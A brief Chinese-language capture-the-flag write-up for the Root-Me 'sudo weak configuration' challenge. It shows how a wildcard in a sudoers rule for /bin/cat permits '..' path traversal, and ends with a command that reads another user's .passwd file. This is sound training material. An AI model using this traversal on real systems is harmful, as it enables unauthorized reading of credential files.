1 min read

RootMe-Writeup-Sudo-weak configuration

RootME Script Writeup 题目weak configuration

题目内容:

题目链接如下:
https://www.root-me.org/en/Challenges/App-Script/sudo-weak-configuration?action_solution=voir#ancre_solution
靶机目录内容展示如下:

app-script-ch1@challenge02:~$ ls -al
total 28
dr-xr-x---  4 app-script-ch1-cracked app-script-ch1         4096 Dec 10  2021 .
drwxr-xr-x 24 root                   root                   4096 Jun  9  2022 ..
-r--------  1 root                   root                    921 Dec 10  2021 ._perms
-rw-r-----  1 root                   root                     42 Dec 10  2021 .git
dr-xr-x--x  2 app-script-ch1-cracked app-script-ch1-cracked 4096 Dec 10  2021 ch1cracked
dr-xr-x--x  2 app-script-ch1-cracked app-script-ch1         4096 Dec 10  2021 notes
-rw-r-----  1 app-script-ch1         app-script-ch1          217 Dec 10  2021 readme.md

可以看到整个目录中 notes 目录具有可读权限,其他目录均无法访问,考虑到题目的信息中有关于 sudo 相关的安全配置问题,因此可以从 sudo 作为突破口

题解:

首先通过 sudo -l 检查所在用户在 sudo 命令中是否包含配置的执行权限,执行结果如下

app-script-ch1@challenge02:~$ sudo -l
[sudo] password for app-script-ch1: 
Matching Defaults entries for app-script-ch1 on challenge02:
    env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, !mail_always, !mail_badpass, !mail_no_host, !mail_no_perms, !mail_no_user

User app-script-ch1 may run the following commands on challenge02:
    (app-script-ch1-cracked) /bin/cat /challenge/app-script/ch1/notes/*

最后一行可以看到非常明显的 sudo 配置问题,sudo中通配符可以根据完全不同的命令进行拼接,尤其是通配符允许匹配一些 .. 等上层目录返回的符号,因此这里可以使用app-script-ch1-cracked 查看任意目录的文件权限。命令执行结果如下:

sudo -u app-script-ch1-cracked /bin/cat /challenge/app-script/ch1/notes/../ch1cracked/.passwd